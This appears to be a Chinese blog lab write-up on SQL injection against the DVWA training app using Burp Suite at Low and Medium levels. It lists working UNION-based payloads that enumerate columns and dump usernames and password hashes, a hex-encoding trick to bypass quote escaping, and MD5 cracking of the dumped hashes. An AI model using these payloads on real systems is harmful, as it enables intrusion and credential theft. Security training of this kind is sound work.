信息安全之使用Burpsuite进行SQL注入安全实验

一、实验环境:

一台装有Windows10操作系统的计算机,用来进行安全脆弱性鉴定的DVWA。软件Burpsuite。

二、实验内容和步骤:

1.Low级别手工注入

(1)首先设置安全级别为low,点击SQLinjection进入SQL注入练习页面,在框里随便输入一个ID号,发现能返回用户信息。同时URL中出现了提交的参数信息,说明该页面的提交方式为GET。 

(2)在文本框中输入 2‘,发现页面报错,说明单引号被执行,存在 SQL 注入漏洞,并从报错信息中得知该站点的数据库为 MySQL,

(3)在文本框中输入 1 and 1=1 和 1 and 1=2,都能返回数据,说明可能注入漏洞不是数字型

(4)在文本框输入 1' and 1=1#,可以返回数据,输入 1' and 1=2#,没有数据返回,说明注入成功,确认漏洞为字符型。

(5)在文本框输入 1' order by 1 和 1' order by 2,有数据返回,输入 1' order by 3,页面报错,说明本页面只查询了 2 个字段

(6)在文本框输入 1' and 1=2 union select 1,2#,确认页面中 First name 处显示的是记录集中第一个字段,Surname 处显示的是记录集中第二个字段

(7)在文本框输入 1' and 1=2 union select database(),2#,原第一个字段处显示当前数据库名称为 dvwa

(8)在文本框输入 1' and 1=2 union select 1,group_concat(column_name) from information_schema.columns where table_name='users'#,原第二个字段处显示 users 表中的所有字段名。其中发现 user 和 password 字段,极有可能是用户名和密码字段

(9)在文本框输入 1' and 1=2 union select user,password from users#,原第一个字段和第二个字段处分别显示表中的用户名和密码

(10)在 http://www.cmd5.com 破解 MD5 加密的密码,即可得到密码明文。这里我们以第三个密文为例,得到的密码为charley

2.Medium级别SQL手工注入

(1)安全级别设置为 Medium 后,再次进入 SQL 注入模块,发现没有了文本框,随便选择一个 ID 后,可以返回数据,且 URL 上没有显示任何参数,说明该页面为 POST 提交方式。由于页面中没有提供输入信息的接口,所以需要使用 Burpsuite社区版等工具来构造 POST 包

(2)运行 Burpsuite,并设置好浏览器代理

(3)再次到 SQL 注入页面随便选择一个 ID 值,点击提交,该数据包会被 Burpsuite 拦截并显示

(4)在 ID 值后加入 ' 单引号,并点击 Forward 按钮,浏览器报错,发现同样存在 SQL 注入漏洞

(5)再次随意选择 ID 值,在 Burpsuite 拦截的包中 id= 后加上 and 1=1,可以返回数据,加上 and 1=2,没有数据返回,确认 SQL 注入点为数字型

(6)再次拦截数据包,加入 and 1=2 union select 1,2,确认页面中 First name 处显示的是记录集中第一个字段,Surname 处显示的是记录集中第二个字段

(7)查询数据库名、表名方法与 Low 级别思路一致,只不过不需要单引号和 # 来闭合语法。

(8)拦截数据包,加入 and 1=2 union select 1,group_concat(column_name) from information_schema.columns where table_name='users' 来查询字段名时,发现页面报错

(9)点击“intercept is on”先暂时关掉 Burpsuite 的代理功能,在SQL注入页面中点击 View Source,查看当前源码,发现对提交的 ID 值添加了 mysql_real_escape_string 函数,该函数会对单引号进行转义,从而导致 SQL 语句构造不成功

(10)对表名 users 进行 16 进制 HEX 编码,就可以无需使用单引号。users HEX 编码后为 0x7573657273。重新开启 Burpsuite 的代理功能后,在拦截的包中加入 and 1=2 union select 1,group_concat(column_name) from information_schema.columns where table_name=0x7573657273,可以成功查询出字段名

(11)拦截数据包,加入 and 1=2 union select user,password from users,可得到密文,再使用md5解密可以成功查询出用户名和密码的内容这里以第一个密文为例,得到的明文为password。

评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值